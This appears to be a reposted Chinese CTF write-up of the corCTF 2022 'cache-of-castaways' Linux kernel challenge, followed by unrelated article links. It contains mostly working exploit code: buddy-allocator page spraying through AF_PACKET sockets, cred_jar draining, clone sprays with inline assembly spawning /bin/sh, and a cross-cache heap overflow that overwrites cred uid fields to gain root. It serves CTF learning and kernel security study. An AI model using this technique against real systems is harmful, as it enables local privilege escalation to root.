26_corCTF 2022-cache-of-castaways

2024-01-17 09:20
文章标签 cache 2022 26 castaways corctf

本文主要是介绍26_corCTF 2022-cache-of-castaways,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

题目

#define MAX 8 * 50
#define OVERFLOW_SZ 0x6
#define CHUNK_SIZE 512typedef struct
{char pad[OVERFLOW_SZ];   // <<<<<<<<<<<<<<<<<<char buf[];
}castaway_t;struct castaway_cache
{char buf[CHUNK_SIZE];
};static int init_castaway_driver(void){castaway_arr = kzalloc(MAX * sizeof(castaway_t *), GFP_KERNEL);castaway_cachep = KMEM_CACHE(castaway_cache, SLAB_PANIC | SLAB_ACCOUNT);
}
static long castaway_add(void){castaway_arr[idx] = kmem_cache_zalloc(castaway_cachep, GFP_KERNEL_ACCOUNT);
}
typedef struct
{int64_t idx;uint64_t size;char *buf;    
}user_req_t;static long castaway_ioctl(struct file *file, unsigned int cmd, unsigned long arg){user_req_t req;copy_from_user(&req, (void *)arg, sizeof(req))castaway_edit(req.idx, req.size, req.buf);
}static long castaway_edit(int64_t idx, uint64_t size, char *buf){if (idx < 0 || idx >= MAX || !castaway_arr[idx]) goto edit_fail;if (size > CHUNK_SIZE || copy_from_user(temp, buf, size)) goto edit_fail;memcpy(castaway_arr[idx]->buf, temp, size);  // <<<<<<<<<<<<<
}

独立 KMEM_CACHE的6字节堆溢出

利用

int sprayfd_child[2];
int sprayfd_parent[2];int main(int argc, char **argv)
{int fd = open("/dev/castaway", O_RDONLY);if (fd < 0){perror("driver can't be opened");exit(0);}// for communicating with spraying in separate namespace via TX_RINGs// 用于父子进程通信,实际作为父子进程逻辑开关pipe(sprayfd_child);pipe(sprayfd_parent);puts("setting up spray manager in separate namespace");if (!fork())	{unshare_setup(getuid(), getgid());spray_comm_handler();}void spray_comm_handler()
{ipc_req_t req;int32_t result;do {read(sprayfd_child[0], &req, sizeof(req));	// 先阻塞,知道父进程发送消息assert(req.idx < INITIAL_PAGE_SPRAY);if (req.cmd == ALLOC_PAGE){socketfds[req.idx] = alloc_pages_via_sock(4096, 1);	// 分配出 1个order 0 paeg}else if (req.cmd == FREE_PAGE){close(socketfds[req.idx]);}result = req.idx;write(sprayfd_parent[1], &result, sizeof(result));} while(req.cmd != EXIT_SPRAY);}int alloc_pages_via_sock(uint32_t size, uint32_t n)
{struct tpacket_req req;int32_t socketfd, version;socketfd = socket(AF_PACKET, SOCK_RAW, PF_PACKET);if (socketfd < 0){perror("bad socket");exit(-1);}version = TPACKET_V1;if (setsockopt(socketfd, SOL_PACKET, PACKET_VERSION, &version, sizeof(version)) < 0){perror("setsockopt PACKET_VERSION failed");exit(-1);}assert(size % 4096 == 0);memset(&req, 0, sizeof(req));req.tp_block_size = size;req.tp_block_nr = n;req.tp_frame_size = 4096;req.tp_frame_nr = (req.tp_block_size * req.tp_block_nr) / req.tp_frame_size;if (setsockopt(socketfd, SOL_PACKET, PACKET_TX_RING, &req, sizeof(req)) < 0){perror("setsockopt PACKET_TX_RING failed");exit(-1);}return socketfd;
}

耗尽cred_jar

#define CRED_JAR_INITIAL_SPRAY 100// initial drainputs("draining cred_jar");for (int i = 0; i < CRED_JAR_INITIAL_SPRAY; i++){pid_t result = fork();if (!result){just_wait();}if (result < 0){puts("fork limit");exit(-1);}}

耗尽order 0中的page。最好通过堆整理,从高order中,1/2分出整块的page,并将这分出的page,继续1/2的分出,持续到order 0,消耗掉。目的,是这些消耗掉的order 0是物理连续的

#define INITIAL_PAGE_SPRAY 1000void send_spray_cmd(enum spray_cmd cmd, int idx)
{ipc_req_t req;int32_t result;req.cmd = cmd;req.idx = idx;write(sprayfd_child[1], &req, sizeof(req));read(sprayfd_parent[0], &result, sizeof(result));assert(result == idx);
}// buddy allocator massageputs("massaging order 0 buddy allocations");for (int i = 0; i < INITIAL_PAGE_SPRAY; i++){send_spray_cmd(ALLOC_PAGE, i);}

将连续消耗掉的order 0 page,间隔释放出来

    for (int i = 1; i < INITIAL_PAGE_SPRAY; i += 2){send_spray_cmd(FREE_PAGE, i);}

将释放出的page重新用cred_jar占据
fork噪声问题
https://bsauce.github.io/2022/11/07/castaways/#2-3-fork%E5%99%AA%E5%A3%B0%E9%97%AE%E9%A2%98

struct timespec timer = {.tv_sec = 1000000000, .tv_nsec = 0};
char throwaway;
char root[] = "root\n";
char binsh[] = "/bin/sh\x00";
char *args[] = {"/bin/sh", NULL};__attribute__((naked)) void check_and_wait()
{asm("lea rax, [rootfd];"	// rootfd-pipe生成的文件描述符"mov edi, dword ptr [rax];""lea rsi, [throwaway];""mov rdx, 1;""xor rax, rax;""syscall;"				// read 先阻塞着,知道发送write(rootfd)"mov rax, 102;""syscall;"				// getuid"cmp rax, 0;"			// 如果不是root,则退出"jne finish;""mov rdi, 1;""lea rsi, [root];"		"mov rdx, 5;""mov rax, 1;""syscall;"				// write(1, root_str, 71)"lea rdi, [binsh];""lea rsi, [args];""xor rdx, rdx;""mov rax, 59;""syscall;"				// execve("/bin/sh", args, NULL)"finish:""lea rdi, [timer];""xor rsi, rsi;""mov rax, 35;""syscall;"				// nanosleep"ret;");
}// https://man7.org/linux/man-pages/man2/clone.2.html
/* for syscall, it's clone(flags, stack, ...) */
__attribute__((naked)) pid_t __clone(uint64_t flags, void *dest)
{asm("mov r15, rsi;""xor rsi, rsi;""xor rdx, rdx;""xor r10, r10;""xor r9, r9;""mov rax, 56;""syscall;""cmp rax, 0;""jl bad_end;""jg good_end;""jmp r15;""bad_end:""neg rax;""ret;""good_end:""ret;");
}for (int i = 0; i < FORK_SPRAY; i++){pid_t result = __clone(CLONE_FLAGS, &check_and_wait);if (result < 0){perror("clone error");exit(-1);}}

释放另一半的order 0 page,期望其中一些page是与cred_jar page间隔的

    for (int i = 0; i < INITIAL_PAGE_SPRAY; i += 2){send_spray_cmd(FREE_PAGE, i);}

占据与cred_jar page间隔的page,堆溢出,覆盖cred_jar中cred的uid等字段

    *(uint32_t*)&evil[CHUNK_SIZE-0x6] = 1;// cross cache overflowputs("spraying cross cache overflow");for (int i = 0; i < FINAL_PAGE_SPRAY; i++){alloc_vuln_page(fd, isolation_pages, i);edit_vuln_page(fd, isolation_pages, i, evil, CHUNK_SIZE);}puts("notifying forks that spray is completed");

通过clone出来的进程,检查getuid

    write(rootfd[1], evil, FORK_SPRAY);sleep(100000);exit(0);

ref

https://xz.aliyun.com/t/12417
https://ctf-wiki.org/pwn/linux/kernel-mode/exploitation/heap/buddy/cross-cache/
Linux内存管理 (5)slab分配器 kmem_cache_create https://www.cnblogs.com/arnoldlu/p/8215414.html
https://www.willsroot.io/2022/08/reviving-exploits-against-cred-struct.html

这篇关于26_corCTF 2022-cache-of-castaways的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/615555

相关文章

上海大学《2022年836+915自动控制原理真题及答案》 (完整版)

Part1:2022年上海大学真题题目 学硕836 专硕915 Part2:2022年上海大学真题答案 学硕836 专硕915

[项目][CMP][Thread Cache]详细讲解

目录 1.设计&结构2.申请内存3.释放内存4.框架 1.设计&结构 Thread Cache是哈希桶结构,每个桶是一个按桶位置映射大小的内存块对象的自由链表 每个线程都会有一个Thread Cache对象,这样每个线程在这里获取对象和释放对象时是无锁的 TLS – Thread Local Strorage Linux gcc下TLSWindows vs下TLS

[项目][CMP][Central Cache]详细讲解

目录 1.设计&结构2.申请内存3.释放内存4.框架 1.设计&结构 Central Cache也是一个哈希桶结构,它的哈希桶的映射关系跟Thread Cache是一样的不同的是它的每个哈希桶位置挂的是SpanList链表结构(带头双向循环链表),不过每个映射桶下面的span中的大内存块被按映射关系切成了一个个小内存块对象挂在span的自由链表中 8Byte映射位置下面挂的是

每日一题~cf 970 div3 (A思维,B小模拟,C二分,D排列数建图成环,E 26个字母暴力+前缀和,F 逆元,G 数论gcd )

A 题意: 有 a 个1 ,b 个2.问是否能将这些数划分为两个数值相等的集合。 输出 YES 或者 NO —————— 问题等价于 将数组 分成两个数值相同的数组。所以sum 应该是偶数。也就是说 1 的个数是偶数。在i1的个数是偶数的情况下,将 2 分成两份,如果2 的个数是偶数,OK。如果是奇数那么需要1来补齐,如果1 的个数大于等于2那么可以补齐。(1 的个数是偶数,需要2个1来补齐,剩下

【算法 2022】高效有用的机器学习算法和 Python 库

2022年已经到来,在此祝大家虎年大吉!2022年,下面几种机器学习算法和 Python 库将在未来更受欢迎!让我们花个几分钟一起来了解下: 一、CatBoost CatBoost 可能是最新的算法,因为它随着越来越流行而不断更新。这个机器学习算法对于处理分类数据的数据科学家特别有用。您可以考虑 Random Forest 和 XGBoost 算法的优点,CatBoost 具有它们的大部分优点

26 页高清大数据开发代码速查表,提升效率必备!【可下载】

各大互联网公司高价抢夺数据人才,为谋求长期发展、获得高薪,很多人转行到了大数据领域。这条路人才虽缺,但要成为优秀大数据工程师并不轻松:别的不说,光学习新技术,巩固旧知识,就需要耗费大量时间精力,实属不易。 为帮助大家提高学习效率,方便日后查找和使用,这里整理了一份大数据开发代码速查表资料,内容包括 Spark、Hadoop 及 Hive 等大数据开发主要知识点。 由于篇幅原因,下面只展示了速查表

26 页高清分布式集群代码速查表,提升效率必备!【可下载】

各大互联网公司高价抢夺海量数据处理、分布式系统开发人才,为谋求长期发展、获得高薪,很多人转行到了大数据、分布式、集群运维领域。这条路人才虽缺,但并不轻松:别的不说,光学习新技术,巩固旧知识,就需要耗费大量时间精力,实属不易。 为帮助大家提高学习和工作效率,方便日后查找和使用其中涉及的知识点,这里整理了一份分布式/集群开发、运维的代码速查表资料,内容包括 Spark、Hadoop 及 Hive 等

(176)时序收敛--->(26)时序收敛二六

1 目录 (a)FPGA简介 (b)Verilog简介 (c)时钟简介 (d)时序收敛二六 (e)结束 1 FPGA简介 (a)FPGA(Field Programmable Gate Array)是在PAL (可编程阵列逻辑)、GAL(通用阵列逻辑)等可编程器件的基础上进一步发展的产物。它是作为专用集成电路(ASIC)领域中的一种半定制电路而出现的,既解决了定制电路的不足,又克服了

『功能项目』DOTween动态文字【26】

打开上一篇25协程生成怪物模型的项目, 本章要做的事情是用DOTween插件做一个动态文字效果 首先在资源商店中免费下载一个DOTween插件 新建脚本:DowteenFlicker.cs 编写脚本: using DG.Tweening;using UnityEngine;using UnityEngine.UI;public class DowteenFli

振动分析-26-频域分析之深入理解功率谱和功率谱密度的计算过程

1 什么是PSD(功率谱密度) 功率谱密度(Power Spectral Density),以及其与Autopower(自功率谱)的区别。 1.1 PSD的定义 PSD——Power Spectral Density是表征信号的功率能量与频率的关系的物理量。 PSD经常用来研究随机振动信号。 PSD通常根据频率分辨率做归一化。 对于振动数据,PSD的单位通常是g^2/Hz。这个单位看起来不